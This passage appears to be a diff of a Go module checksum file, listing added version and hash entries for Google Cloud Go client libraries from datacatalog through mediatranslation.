h1:+aEyF8JKg+uXcIdAmmaMUmZ3q1b/lKLtXCmXdnc0lbc= +cloud.google.com/go/datacatalog v1.7.0/go.mod h1:9mEl4AuDYWw81UGc41HonIHH7/sn52H0/tc8f8ZbZIE= +cloud.google.com/go/datacatalog v1.8.0/go.mod h1:KYuoVOv9BM8EYz/4eMFxrr4DUKhGIOXxZoKYF5wdISM= +cloud.google.com/go/datacatalog v1.8.1/go.mod h1:RJ58z4rMp3gvETA465Vg+ag8BGgBdnRPEMMSTr5Uv+M= +cloud.google.com/go/datacatalog v1.12.0/go.mod h1:CWae8rFkfp6LzLumKOnmVh4+Zle4A3NXLzVJ1d1mRm0= +cloud.google.com/go/datacatalog v1.13.0/go.mod h1:E4Rj9a5ZtAxcQJlEBTLgMTphfP11/lNaAshpoBgemX8= +cloud.google.com/go/datacatalog v1.14.0/go.mod h1:h0PrGtlihoutNMp/uvwhawLQ9+c63Kz65UFqh49Yo+E= +cloud.google.com/go/datacatalog v1.14.1/go.mod h1:d2CevwTG4yedZilwe+v3E3ZBDRMobQfSG/a6cCCN5R4= +cloud.google.com/go/datacatalog v1.16.0/go.mod h1:d2CevwTG4yedZilwe+v3E3ZBDRMobQfSG/a6cCCN5R4= +cloud.google.com/go/dataflow v0.6.0/go.mod h1:9QwV89cGoxjjSR9/r7eFDqqjtvbKxAK2BaYU6PVk9UM= +cloud.google.com/go/dataflow v0.7.0/go.mod h1:PX526vb4ijFMesO1o202EaUmouZKBpjHsTlCtB4parQ= +cloud.google.com/go/dataflow v0.8.0/go.mod h1:Rcf5YgTKPtQyYz8bLYhFoIV/vP39eL7fWNcSOyFfLJE= +cloud.google.com/go/dataflow v0.9.1/go.mod h1:Wp7s32QjYuQDWqJPFFlnBKhkAtiFpMTdg00qGbnIHVw= +cloud.google.com/go/dataform v0.3.0/go.mod h1:cj8uNliRlHpa6L3yVhDOBrUXH+BPAO1+KFMQQNSThKo= +cloud.google.com/go/dataform v0.4.0/go.mod h1:fwV6Y4Ty2yIFL89huYlEkwUPtS7YZinZbzzj5S9FzCE= +cloud.google.com/go/dataform v0.5.0/go.mod h1:GFUYRe8IBa2hcomWplodVmUx/iTL0FrsauObOM3Ipr0= +cloud.google.com/go/dataform v0.6.0/go.mod h1:QPflImQy33e29VuapFdf19oPbE4aYTJxr31OAPV+ulA= +cloud.google.com/go/dataform v0.7.0/go.mod h1:7NulqnVozfHvWUBpMDfKMUESr+85aJsC/2O0o3jWPDE= +cloud.google.com/go/dataform v0.8.1/go.mod h1:3BhPSiw8xmppbgzeBbmDvmSWlwouuJkXsXsb8UBih9M= +cloud.google.com/go/datafusion v1.4.0/go.mod h1:1Zb6VN+W6ALo85cXnM1IKiPw+yQMKMhB9TsTSRDo/38= +cloud.google.com/go/datafusion v1.5.0/go.mod h1:Kz+l1FGHB0J+4XF2fud96WMmRiq/wj8N9u007vyXZ2w= +cloud.google.com/go/datafusion v1.6.0/go.mod h1:WBsMF8F1RhSXvVM8rCV3AeyWVxcC2xY6vith3iw3S+8= +cloud.google.com/go/datafusion v1.7.1/go.mod h1:KpoTBbFmoToDExJUso/fcCiguGDk7MEzOWXUsJo0wsI= +cloud.google.com/go/datalabeling v0.5.0/go.mod h1:TGcJ0G2NzcsXSE/97yWjIZO0bXj0KbVlINXMG9ud42I= +cloud.google.com/go/datalabeling v0.6.0/go.mod h1:WqdISuk/+WIGeMkpw/1q7bK/tFEZxsrFJOJdY2bXvTQ= +cloud.google.com/go/datalabeling v0.7.0/go.mod h1:WPQb1y08RJbmpM3ww0CSUAGweL0SxByuW2E+FU+wXcM= +cloud.google.com/go/datalabeling v0.8.1/go.mod h1:XS62LBSVPbYR54GfYQsPXZjTW8UxCK2fkDciSrpRFdY= +cloud.google.com/go/dataplex v1.3.0/go.mod h1:hQuRtDg+fCiFgC8j0zV222HvzFQdRd+SVX8gdmFcZzA= +cloud.google.com/go/dataplex v1.4.0/go.mod h1:X51GfLXEMVJ6UN47ESVqvlsRplbLhcsAt0kZCCKsU0A= +cloud.google.com/go/dataplex v1.5.2/go.mod h1:cVMgQHsmfRoI5KFYq4JtIBEUbYwc3c7tXmIDhRmNNVQ= +cloud.google.com/go/dataplex v1.6.0/go.mod h1:bMsomC/aEJOSpHXdFKFGQ1b0TDPIeL28nJObeO1ppRs= +cloud.google.com/go/dataplex v1.8.1/go.mod h1:7TyrDT6BCdI8/38Uvp0/ZxBslOslP2X2MPDucliyvSE= +cloud.google.com/go/dataplex v1.9.0/go.mod h1:7TyrDT6BCdI8/38Uvp0/ZxBslOslP2X2MPDucliyvSE= +cloud.google.com/go/dataproc v1.7.0/go.mod h1:CKAlMjII9H90RXaMpSxQ8EU6dQx6iAYNPcYPOkSbi8s= +cloud.google.com/go/dataproc v1.8.0/go.mod h1:5OW+zNAH0pMpw14JVrPONsxMQYMBqJuzORhIBfBn9uI= +cloud.google.com/go/dataproc v1.12.0/go.mod h1:zrF3aX0uV3ikkMz6z4uBbIKyhRITnxvr4i3IjKsKrw4= +cloud.google.com/go/dataproc/v2 v2.0.1/go.mod h1:7Ez3KRHdFGcfY7GcevBbvozX+zyWGcwLJvvAMwCaoZ4= +cloud.google.com/go/dataqna v0.5.0/go.mod h1:90Hyk596ft3zUQ8NkFfvICSIfHFh1Bc7C4cK3vbhkeo= +cloud.google.com/go/dataqna v0.6.0/go.mod h1:1lqNpM7rqNLVgWBJyk5NF6Uen2PHym0jtVJonplVsDA= +cloud.google.com/go/dataqna v0.7.0/go.mod h1:Lx9OcIIeqCrw1a6KdO3/5KMP1wAmTc0slZWwP12Qq3c= +cloud.google.com/go/dataqna v0.8.1/go.mod h1:zxZM0Bl6liMePWsHA8RMGAfmTG34vJMapbHAxQ5+WA8= cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= +cloud.google.com/go/datastore v1.10.0/go.mod h1:PC5UzAmDEkAmkfaknstTYbNpgE49HAgW2J1gcgUfmdM= +cloud.google.com/go/datastore v1.11.0/go.mod h1:TvGxBIHCS50u8jzG+AW/ppf87v1of8nwzFNgEZU1D3c= +cloud.google.com/go/datastore v1.12.0/go.mod h1:KjdB88W897MRITkvWWJrg2OUtrR5XVj1EoLgSp6/N70= +cloud.google.com/go/datastore v1.12.1/go.mod h1:KjdB88W897MRITkvWWJrg2OUtrR5XVj1EoLgSp6/N70= +cloud.google.com/go/datastore v1.13.0/go.mod h1:KjdB88W897MRITkvWWJrg2OUtrR5XVj1EoLgSp6/N70= +cloud.google.com/go/datastream v1.2.0/go.mod h1:i/uTP8/fZwgATHS/XFu0TcNUhuA0twZxxQ3EyCUQMwo= +cloud.google.com/go/datastream v1.3.0/go.mod h1:cqlOX8xlyYF/uxhiKn6Hbv6WjwPPuI9W2M9SAXwaLLQ= +cloud.google.com/go/datastream v1.4.0/go.mod h1:h9dpzScPhDTs5noEMQVWP8Wx8AFBRyS0s8KWPx/9r0g= +cloud.google.com/go/datastream v1.5.0/go.mod h1:6TZMMNPwjUqZHBKPQ1wwXpb0d5VDVPl2/XoS5yi88q4= +cloud.google.com/go/datastream v1.6.0/go.mod h1:6LQSuswqLa7S4rPAOZFVjHIG3wJIjZcZrw8JDEDJuIs= +cloud.google.com/go/datastream v1.7.0/go.mod h1:uxVRMm2elUSPuh65IbZpzJNMbuzkcvu5CjMqVIUHrww= +cloud.google.com/go/datastream v1.9.1/go.mod h1:hqnmr8kdUBmrnk65k5wNRoHSCYksvpdZIcZIEl8h43Q= +cloud.google.com/go/datastream v1.10.0/go.mod h1:hqnmr8kdUBmrnk65k5wNRoHSCYksvpdZIcZIEl8h43Q= +cloud.google.com/go/deploy v1.4.0/go.mod h1:5Xghikd4VrmMLNaF6FiRFDlHb59VM59YoDQnOUdsH/c= +cloud.google.com/go/deploy v1.5.0/go.mod h1:ffgdD0B89tToyW/U/D2eL0jN2+IEV/3EMuXHA0l4r+s= +cloud.google.com/go/deploy v1.6.0/go.mod h1:f9PTHehG/DjCom3QH0cntOVRm93uGBDt2vKzAPwpXQI= +cloud.google.com/go/deploy v1.8.0/go.mod h1:z3myEJnA/2wnB4sgjqdMfgxCA0EqC3RBTNcVPs93mtQ= +cloud.google.com/go/deploy v1.11.0/go.mod h1:tKuSUV5pXbn67KiubiUNUejqLs4f5cxxiCNCeyl0F2g= +cloud.google.com/go/deploy v1.13.0/go.mod h1:tKuSUV5pXbn67KiubiUNUejqLs4f5cxxiCNCeyl0F2g= +cloud.google.com/go/dialogflow v1.15.0/go.mod h1:HbHDWs33WOGJgn6rfzBW1Kv807BE3O1+xGbn59zZWI4= +cloud.google.com/go/dialogflow v1.16.1/go.mod h1:po6LlzGfK+smoSmTBnbkIZY2w8ffjz/RcGSS+sh1el0= +cloud.google.com/go/dialogflow v1.17.0/go.mod h1:YNP09C/kXA1aZdBgC/VtXX74G/TKn7XVCcVumTflA+8= +cloud.google.com/go/dialogflow v1.18.0/go.mod h1:trO7Zu5YdyEuR+BhSNOqJezyFQ3aUzz0njv7sMx/iek= +cloud.google.com/go/dialogflow v1.19.0/go.mod h1:JVmlG1TwykZDtxtTXujec4tQ+D8SBFMoosgy+6Gn0s0= +cloud.google.com/go/dialogflow v1.29.0/go.mod h1:b+2bzMe+k1s9V+F2jbJwpHPzrnIyHihAdRFMtn2WXuM= +cloud.google.com/go/dialogflow v1.31.0/go.mod h1:cuoUccuL1Z+HADhyIA7dci3N5zUssgpBJmCzI6fNRB4= +cloud.google.com/go/dialogflow v1.32.0/go.mod h1:jG9TRJl8CKrDhMEcvfcfFkkpp8ZhgPz3sBGmAUYJ2qE= +cloud.google.com/go/dialogflow v1.38.0/go.mod h1:L7jnH+JL2mtmdChzAIcXQHXMvQkE3U4hTaNltEuxXn4= +cloud.google.com/go/dialogflow v1.40.0/go.mod h1:L7jnH+JL2mtmdChzAIcXQHXMvQkE3U4hTaNltEuxXn4= +cloud.google.com/go/dlp v1.6.0/go.mod h1:9eyB2xIhpU0sVwUixfBubDoRwP+GjeUoxxeueZmqvmM= +cloud.google.com/go/dlp v1.7.0/go.mod h1:68ak9vCiMBjbasxeVD17hVPxDEck+ExiHavX8kiHG+Q= +cloud.google.com/go/dlp v1.9.0/go.mod h1:qdgmqgTyReTz5/YNSSuueR8pl7hO0o9bQ39ZhtgkWp4= +cloud.google.com/go/dlp v1.10.1/go.mod h1:IM8BWz1iJd8njcNcG0+Kyd9OPnqnRNkDV8j42VT5KOI= +cloud.google.com/go/documentai v1.7.0/go.mod h1:lJvftZB5NRiFSX4moiye1SMxHx0Bc3x1+p9e/RfXYiU= +cloud.google.com/go/documentai v1.8.0/go.mod h1:xGHNEB7CtsnySCNrCFdCyyMz44RhFEEX2Q7UD0c5IhU= +cloud.google.com/go/documentai v1.9.0/go.mod h1:FS5485S8R00U10GhgBC0aNGrJxBP8ZVpEeJ7PQDZd6k= +cloud.google.com/go/documentai v1.10.0/go.mod h1:vod47hKQIPeCfN2QS/jULIvQTugbmdc0ZvxxfQY1bg4= +cloud.google.com/go/documentai v1.16.0/go.mod h1:o0o0DLTEZ+YnJZ+J4wNfTxmDVyrkzFvttBXXtYRMHkM= +cloud.google.com/go/documentai v1.18.0/go.mod h1:F6CK6iUH8J81FehpskRmhLq/3VlwQvb7TvwOceQ2tbs= +cloud.google.com/go/documentai v1.20.0/go.mod h1:yJkInoMcK0qNAEdRnqY/D5asy73tnPe88I1YTZT+a8E= +cloud.google.com/go/documentai v1.22.0/go.mod h1:yJkInoMcK0qNAEdRnqY/D5asy73tnPe88I1YTZT+a8E= +cloud.google.com/go/domains v0.6.0/go.mod h1:T9Rz3GasrpYk6mEGHh4rymIhjlnIuB4ofT1wTxDeT4Y= +cloud.google.com/go/domains v0.7.0/go.mod h1:PtZeqS1xjnXuRPKE/88Iru/LdfoRyEHYA9nFQf4UKpg= +cloud.google.com/go/domains v0.8.0/go.mod h1:M9i3MMDzGFXsydri9/vW+EWz9sWb4I6WyHqdlAk0idE= +cloud.google.com/go/domains v0.9.1/go.mod h1:aOp1c0MbejQQ2Pjf1iJvnVyT+z6R6s8pX66KaCSDYfE= +cloud.google.com/go/edgecontainer v0.1.0/go.mod h1:WgkZ9tp10bFxqO8BLPqv2LlfmQF1X8lZqwW4r1BTajk= +cloud.google.com/go/edgecontainer v0.2.0/go.mod h1:RTmLijy+lGpQ7BXuTDa4C4ssxyXT34NIuHIgKuP4s5w= +cloud.google.com/go/edgecontainer v0.3.0/go.mod h1:FLDpP4nykgwwIfcLt6zInhprzw0lEi2P1fjO6Ie0qbc= +cloud.google.com/go/edgecontainer v1.0.0/go.mod h1:cttArqZpBB2q58W/upSG++ooo6EsblxDIolxa3jSjbY= +cloud.google.com/go/edgecontainer v1.1.1/go.mod h1:O5bYcS//7MELQZs3+7mabRqoWQhXCzenBu0R8bz2rwk= +cloud.google.com/go/errorreporting v0.3.0/go.mod h1:xsP2yaAp+OAW4OIm60An2bbLpqIhKXdWR/tawvl7QzU= +cloud.google.com/go/essentialcontacts v1.3.0/go.mod h1:r+OnHa5jfj90qIfZDO/VztSFqbQan7HV75p8sA+mdGI= +cloud.google.com/go/essentialcontacts v1.4.0/go.mod h1:8tRldvHYsmnBCHdFpvU+GL75oWiBKl80BiqlFh9tp+8= +cloud.google.com/go/essentialcontacts v1.5.0/go.mod h1:ay29Z4zODTuwliK7SnX8E86aUF2CTzdNtvv42niCX0M= +cloud.google.com/go/essentialcontacts v1.6.2/go.mod h1:T2tB6tX+TRak7i88Fb2N9Ok3PvY3UNbUsMag9/BARh4= +cloud.google.com/go/eventarc v1.7.0/go.mod h1:6ctpF3zTnaQCxUjHUdcfgcA1A2T309+omHZth7gDfmc= +cloud.google.com/go/eventarc v1.8.0/go.mod h1:imbzxkyAU4ubfsaKYdQg04WS1NvncblHEup4kvF+4gw= +cloud.google.com/go/eventarc v1.10.0/go.mod h1:u3R35tmZ9HvswGRBnF48IlYgYeBcPUCjkr4BTdem2Kw= +cloud.google.com/go/eventarc v1.11.0/go.mod h1:PyUjsUKPWoRBCHeOxZd/lbOOjahV41icXyUY5kSTvVY= +cloud.google.com/go/eventarc v1.12.1/go.mod h1:mAFCW6lukH5+IZjkvrEss+jmt2kOdYlN8aMx3sRJiAI= +cloud.google.com/go/eventarc v1.13.0/go.mod h1:mAFCW6lukH5+IZjkvrEss+jmt2kOdYlN8aMx3sRJiAI= +cloud.google.com/go/filestore v1.3.0/go.mod h1:+qbvHGvXU1HaKX2nD0WEPo92TP/8AQuCVEBXNY9z0+w= +cloud.google.com/go/filestore v1.4.0/go.mod h1:PaG5oDfo9r224f8OYXURtAsY+Fbyq/bLYoINEK8XQAI= +cloud.google.com/go/filestore v1.5.0/go.mod h1:FqBXDWBp4YLHqRnVGveOkHDf8svj9r5+mUDLupOWEDs= +cloud.google.com/go/filestore v1.6.0/go.mod h1:di5unNuss/qfZTw2U9nhFqo8/ZDSc466dre85Kydllg= +cloud.google.com/go/filestore v1.7.1/go.mod h1:y10jsorq40JJnjR/lQ8AfFbbcGlw3g+Dp8oN7i7FjV4= +cloud.google.com/go/firestore v1.9.0/go.mod h1:HMkjKHNTtRyZNiMzu7YAsLr9K3X2udY2AMwDaMEQiiE= +cloud.google.com/go/firestore v1.11.0/go.mod h1:b38dKhgzlmNNGTNZZwe7ZRFEuRab1Hay3/DBsIGKKy4= +cloud.google.com/go/functions v1.6.0/go.mod h1:3H1UA3qiIPRWD7PeZKLvHZ9SaQhR26XIJcC0A5GbvAk= +cloud.google.com/go/functions v1.7.0/go.mod h1:+d+QBcWM+RsrgZfV9xo6KfA1GlzJfxcfZcRPEhDDfzg= +cloud.google.com/go/functions v1.8.0/go.mod h1:RTZ4/HsQjIqIYP9a9YPbU+QFoQsAlYgrwOXJWHn1POY= +cloud.google.com/go/functions v1.9.0/go.mod h1:Y+Dz8yGguzO3PpIjhLTbnqV1CWmgQ5UwtlpzoyquQ08= +cloud.google.com/go/functions v1.10.0/go.mod h1:0D3hEOe3DbEvCXtYOZHQZmD+SzYsi1YbI7dGvHfldXw= +cloud.google.com/go/functions v1.12.0/go.mod h1:AXWGrF3e2C/5ehvwYo/GH6O5s09tOPksiKhz+hH8WkA= +cloud.google.com/go/functions v1.13.0/go.mod h1:EU4O007sQm6Ef/PwRsI8N2umygGqPBS/IZQKBQBcJ3c= +cloud.google.com/go/functions v1.15.1/go.mod h1:P5yNWUTkyU+LvW/S9O6V+V423VZooALQlqoXdoPz5AE= +cloud.google.com/go/gaming v1.5.0/go.mod h1:ol7rGcxP/qHTRQE/RO4bxkXq+Fix0j6D4LFPzYTIrDM= +cloud.google.com/go/gaming v1.6.0/go.mod h1:YMU1GEvA39Qt3zWGyAVA9bpYz/yAhTvaQ1t2sK4KPUA= +cloud.google.com/go/gaming v1.7.0/go.mod h1:LrB8U7MHdGgFG851iHAfqUdLcKBdQ55hzXy9xBJz0+w= +cloud.google.com/go/gaming v1.8.0/go.mod h1:xAqjS8b7jAVW0KFYeRUxngo9My3f33kFmua++Pi+ggM= +cloud.google.com/go/gaming v1.9.0/go.mod h1:Fc7kEmCObylSWLO334NcO+O9QMDyz+TKC4v1D7X+Bc0= +cloud.google.com/go/gaming v1.10.1/go.mod h1:XQQvtfP8Rb9Rxnxm5wFVpAp9zCQkJi2bLIb7iHGwB3s= +cloud.google.com/go/gkebackup v0.2.0/go.mod h1:XKvv/4LfG829/B8B7xRkk8zRrOEbKtEam6yNfuQNH60= +cloud.google.com/go/gkebackup v0.3.0/go.mod h1:n/E671i1aOQvUxT541aTkCwExO/bTer2HDlj4TsBRAo= +cloud.google.com/go/gkebackup v0.4.0/go.mod h1:byAyBGUwYGEEww7xsbnUTBHIYcOPy/PgUWUtOeRm9Vg= +cloud.google.com/go/gkebackup v1.3.0/go.mod h1:vUDOu++N0U5qs4IhG1pcOnD1Mac79xWy6GoBFlWCWBU= +cloud.google.com/go/gkeconnect v0.5.0/go.mod h1:c5lsNAg5EwAy7fkqX/+goqFsU1Da/jQFqArp+wGNr/o= +cloud.google.com/go/gkeconnect v0.6.0/go.mod h1:Mln67KyU/sHJEBY8kFZ0xTeyPtzbq9StAVvEULYK16A= +cloud.google.com/go/gkeconnect v0.7.0/go.mod h1:SNfmVqPkaEi3bF/B3CNZOAYPYdg7sU+obZ+QTky2Myw= +cloud.google.com/go/gkeconnect v0.8.1/go.mod h1:KWiK1g9sDLZqhxB2xEuPV8V9NYzrqTUmQR9shJHpOZw= +cloud.google.com/go/gkehub v0.9.0/go.mod h1:WYHN6WG8w9bXU0hqNxt8rm5uxnk8IH+lPY9J2TV7BK0= +cloud.google.com/go/gkehub v0.10.0/go.mod h1:UIPwxI0DsrpsVoWpLB0stwKCP+WFVG9+y977wO+hBH0= +cloud.google.com/go/gkehub v0.11.0/go.mod h1:JOWHlmN+GHyIbuWQPl47/C2RFhnFKH38jH9Ascu3n0E= +cloud.google.com/go/gkehub v0.12.0/go.mod h1:djiIwwzTTBrF5NaXCGv3mf7klpEMcST17VBTVVDcuaw= +cloud.google.com/go/gkehub v0.14.1/go.mod h1:VEXKIJZ2avzrbd7u+zeMtW00Y8ddk/4V9511C9CQGTY= +cloud.google.com/go/gkemulticloud v0.3.0/go.mod h1:7orzy7O0S+5kq95e4Hpn7RysVA7dPs8W/GgfUtsPbrA= +cloud.google.com/go/gkemulticloud v0.4.0/go.mod h1:E9gxVBnseLWCk24ch+P9+B2CoDFJZTyIgLKSalC7tuI= +cloud.google.com/go/gkemulticloud v0.5.0/go.mod h1:W0JDkiyi3Tqh0TJr//y19wyb1yf8llHVto2Htf2Ja3Y= +cloud.google.com/go/gkemulticloud v0.6.1/go.mod h1:kbZ3HKyTsiwqKX7Yw56+wUGwwNZViRnxWK2DVknXWfw= +cloud.google.com/go/gkemulticloud v1.0.0/go.mod h1:kbZ3HKyTsiwqKX7Yw56+wUGwwNZViRnxWK2DVknXWfw= +cloud.google.com/go/grafeas v0.2.0/go.mod h1:KhxgtF2hb0P191HlY5besjYm6MqTSTj3LSI+M+ByZHc= +cloud.google.com/go/grafeas v0.3.0/go.mod h1:P7hgN24EyONOTMyeJH6DxG4zD7fwiYa5Q6GUgyFSOU8= +cloud.google.com/go/gsuiteaddons v1.3.0/go.mod h1:EUNK/J1lZEZO8yPtykKxLXI6JSVN2rg9bN8SXOa0bgM= +cloud.google.com/go/gsuiteaddons v1.4.0/go.mod h1:rZK5I8hht7u7HxFQcFei0+AtfS9uSushomRlg+3ua1o= +cloud.google.com/go/gsuiteaddons v1.5.0/go.mod h1:TFCClYLd64Eaa12sFVmUyG62tk4mdIsI7pAnSXRkcFo= +cloud.google.com/go/gsuiteaddons v1.6.1/go.mod h1:CodrdOqRZcLp5WOwejHWYBjZvfY0kOphkAKpF/3qdZY= +cloud.google.com/go/iam v0.1.0/go.mod h1:vcUNEa0pEm0qRVpmWepWaFMIAI8/hjB9mO8rNCJtF6c= +cloud.google.com/go/iam v0.3.0/go.mod h1:XzJPvDayI+9zsASAFO68Hk07u3z+f+JrT2xXNdp4bnY= +cloud.google.com/go/iam v0.5.0/go.mod h1:wPU9Vt0P4UmCux7mqtRu6jcpPAb74cP1fh50J3QpkUc= +cloud.google.com/go/iam v0.6.0/go.mod h1:+1AH33ueBne5MzYccyMHtEKqLE4/kJOibtffMHDMFMc= +cloud.google.com/go/iam v0.7.0/go.mod h1:H5Br8wRaDGNc8XP3keLc4unfUUZeyH3Sfl9XpQEYOeg= +cloud.google.com/go/iam v0.8.0/go.mod h1:lga0/y3iH6CX7sYqypWJ33hf7kkfXJag67naqGESjkE= +cloud.google.com/go/iam v0.11.0/go.mod h1:9PiLDanza5D+oWFZiH1uG+RnRCfEGKoyl6yo4cgWZGY= +cloud.google.com/go/iam v0.12.0/go.mod h1:knyHGviacl11zrtZUoDuYpDgLjvr28sLQaG0YB2GYAY= +cloud.google.com/go/iam v0.13.0/go.mod h1:ljOg+rcNfzZ5d6f1nAUJ8ZIxOaZUVoS14bKCtaLZ/D0= +cloud.google.com/go/iam v1.0.1/go.mod h1:yR3tmSL8BcZB4bxByRv2jkSIahVmCtfKZwLYGBalRE8= +cloud.google.com/go/iam v1.1.0/go.mod h1:nxdHjaKfCr7fNYx/HJMM8LgiMugmveWlkatear5gVyk= +cloud.google.com/go/iam v1.1.1/go.mod h1:A5avdyVL2tCppe4unb0951eI9jreack+RJ0/d+KUZOU= +cloud.google.com/go/iap v1.4.0/go.mod h1:RGFwRJdihTINIe4wZ2iCP0zF/qu18ZwyKxrhMhygBEc= +cloud.google.com/go/iap v1.5.0/go.mod h1:UH/CGgKd4KyohZL5Pt0jSKE4m3FR51qg6FKQ/z/Ix9A= +cloud.google.com/go/iap v1.6.0/go.mod h1:NSuvI9C/j7UdjGjIde7t7HBz+QTwBcapPE07+sSRcLk= +cloud.google.com/go/iap v1.7.0/go.mod h1:beqQx56T9O1G1yNPph+spKpNibDlYIiIixiqsQXxLIo= +cloud.google.com/go/iap v1.7.1/go.mod h1:WapEwPc7ZxGt2jFGB/C/bm+hP0Y6NXzOYGjpPnmMS74= +cloud.google.com/go/iap v1.8.1/go.mod h1:sJCbeqg3mvWLqjZNsI6dfAtbbV1DL2Rl7e1mTyXYREQ= +cloud.google.com/go/ids v1.1.0/go.mod h1:WIuwCaYVOzHIj2OhN9HAwvW+DBdmUAdcWlFxRl+KubM= +cloud.google.com/go/ids v1.2.0/go.mod h1:5WXvp4n25S0rA/mQWAg1YEEBBq6/s+7ml1RDCW1IrcY= +cloud.google.com/go/ids v1.3.0/go.mod h1:JBdTYwANikFKaDP6LtW5JAi4gubs57SVNQjemdt6xV4= +cloud.google.com/go/ids v1.4.1/go.mod h1:np41ed8YMU8zOgv53MMMoCntLTn2lF+SUzlM+O3u/jw= +cloud.google.com/go/iot v1.3.0/go.mod h1:r7RGh2B61+B8oz0AGE+J72AhA0G7tdXItODWsaA2oLs= +cloud.google.com/go/iot v1.4.0/go.mod h1:dIDxPOn0UvNDUMD8Ger7FIaTuvMkj+aGk94RPP0iV+g= +cloud.google.com/go/iot v1.5.0/go.mod h1:mpz5259PDl3XJthEmh9+ap0affn/MqNSP4My77Qql9o= +cloud.google.com/go/iot v1.6.0/go.mod h1:IqdAsmE2cTYYNO1Fvjfzo9po179rAtJeVGUvkLN3rLE= +cloud.google.com/go/iot v1.7.1/go.mod h1:46Mgw7ev1k9KqK1ao0ayW9h0lI+3hxeanz+L1zmbbbk= +cloud.google.com/go/kms v1.4.0/go.mod h1:fajBHndQ+6ubNw6Ss2sSd+SWvjL26RNo/dr7uxsnnOA= +cloud.google.com/go/kms v1.5.0/go.mod h1:QJS2YY0eJGBg3mnDfuaCyLauWwBJiHRboYxJ++1xJNg= +cloud.google.com/go/kms v1.6.0/go.mod h1:Jjy850yySiasBUDi6KFUwUv2n1+o7QZFyuUJg6OgjA0= +cloud.google.com/go/kms v1.8.0/go.mod h1:4xFEhYFqvW+4VMELtZyxomGSYtSQKzM178ylFW4jMAg= +cloud.google.com/go/kms v1.9.0/go.mod h1:qb1tPTgfF9RQP8e1wq4cLFErVuTJv7UsSC915J8dh3w= +cloud.google.com/go/kms v1.10.0/go.mod h1:ng3KTUtQQU9bPX3+QGLsflZIHlkbn8amFAMY63m8d24= +cloud.google.com/go/kms v1.10.1/go.mod h1:rIWk/TryCkR59GMC3YtHtXeLzd634lBbKenvyySAyYI= +cloud.google.com/go/kms v1.11.0/go.mod h1:hwdiYC0xjnWsKQQCQQmIQnS9asjYVSK6jtXm+zFqXLM= +cloud.google.com/go/kms v1.12.1/go.mod h1:c9J991h5DTl+kg7gi3MYomh12YEENGrf48ee/N/2CDM= +cloud.google.com/go/kms v1.15.0/go.mod h1:c9J991h5DTl+kg7gi3MYomh12YEENGrf48ee/N/2CDM= +cloud.google.com/go/language v1.4.0/go.mod h1:F9dRpNFQmJbkaop6g0JhSBXCNlO90e1KWx5iDdxbWic= +cloud.google.com/go/language v1.6.0/go.mod h1:6dJ8t3B+lUYfStgls25GusK04NLh3eDLQnWM3mdEbhI= +cloud.google.com/go/language v1.7.0/go.mod h1:DJ6dYN/W+SQOjF8e1hLQXMF21AkH2w9wiPzPCJa2MIE= +cloud.google.com/go/language v1.8.0/go.mod h1:qYPVHf7SPoNNiCL2Dr0FfEFNil1qi3pQEyygwpgVKB8= +cloud.google.com/go/language v1.9.0/go.mod h1:Ns15WooPM5Ad/5no/0n81yUetis74g3zrbeJBE+ptUY= +cloud.google.com/go/language v1.10.1/go.mod h1:CPp94nsdVNiQEt1CNjF5WkTcisLiHPyIbMhvR8H2AW0= +cloud.google.com/go/lifesciences v0.5.0/go.mod h1:3oIKy8ycWGPUyZDR/8RNnTOYevhaMLqh5vLUXs9zvT8= +cloud.google.com/go/lifesciences v0.6.0/go.mod h1:ddj6tSX/7BOnhxCSd3ZcETvtNr8NZ6t/iPhY2Tyfu08= +cloud.google.com/go/lifesciences v0.8.0/go.mod h1:lFxiEOMqII6XggGbOnKiyZ7IBwoIqA84ClvoezaA/bo= +cloud.google.com/go/lifesciences v0.9.1/go.mod h1:hACAOd1fFbCGLr/+weUKRAJas82Y4vrL3O5326N//Wc= +cloud.google.com/go/logging v1.6.1/go.mod h1:5ZO0mHHbvm8gEmeEUHrmDlTDSu5imF6MUP9OfilNXBw= +cloud.google.com/go/logging v1.7.0/go.mod h1:3xjP2CjkM3ZkO73aj4ASA5wRPGGCRrPIAeNqVNkzY8M= +cloud.google.com/go/longrunning v0.1.1/go.mod h1:UUFxuDWkv22EuY93jjmDMFT5GPQKeFVJBIF6QlTqdsE= +cloud.google.com/go/longrunning v0.3.0/go.mod h1:qth9Y41RRSUE69rDcOn6DdK3HfQfsUI0YSmW3iIlLJc= +cloud.google.com/go/longrunning v0.4.1/go.mod h1:4iWDqhBZ70CvZ6BfETbvam3T8FMvLK+eFj0E6AaRQTo= +cloud.google.com/go/longrunning v0.4.2/go.mod h1:OHrnaYyLUV6oqwh0xiS7e5sLQhP1m0QU9R+WhGDMgIQ= +cloud.google.com/go/longrunning v0.5.0/go.mod h1:0JNuqRShmscVAhIACGtskSAWtqtOoPkwP0YF1oVEchc= +cloud.google.com/go/longrunning v0.5.1/go.mod h1:spvimkwdz6SPWKEt/XBij79E9fiTkHSQl/fRUUQJYJc= +cloud.google.com/go/managedidentities v1.3.0/go.mod h1:UzlW3cBOiPrzucO5qWkNkh0w33KFtBJU281hacNvsdE= +cloud.google.com/go/managedidentities v1.4.0/go.mod h1:NWSBYbEMgqmbZsLIyKvxrYbtqOsxY1ZrGM+9RgDqInM= +cloud.google.com/go/managedidentities v1.5.0/go.mod h1:+dWcZ0JlUmpuxpIDfyP5pP5y0bLdRwOS4Lp7gMni/LA= +cloud.google.com/go/managedidentities v1.6.1/go.mod h1:h/irGhTN2SkZ64F43tfGPMbHnypMbu4RB3yl8YcuEak= +cloud.google.com/go/maps v0.1.0/go.mod h1:BQM97WGyfw9FWEmQMpZ5T6cpovXXSd1cGmFma94eubI= +cloud.google.com/go/maps v0.6.0/go.mod h1:o6DAMMfb+aINHz/p/jbcY+mYeXBoZoxTfdSQ8VAJaCw= +cloud.google.com/go/maps v0.7.0/go.mod h1:3GnvVl3cqeSvgMcpRlQidXsPYuDGQ8naBis7MVzpXsY= +cloud.google.com/go/maps v1.3.0/go.mod h1:6mWTUv+WhnOwAgjVsSW2QPPECmW+s3PcRyOa9vgG/5s= +cloud.google.com/go/maps v1.4.0/go.mod h1:6mWTUv+WhnOwAgjVsSW2QPPECmW+s3PcRyOa9vgG/5s= +cloud.google.com/go/mediatranslation v0.5.0/go.mod 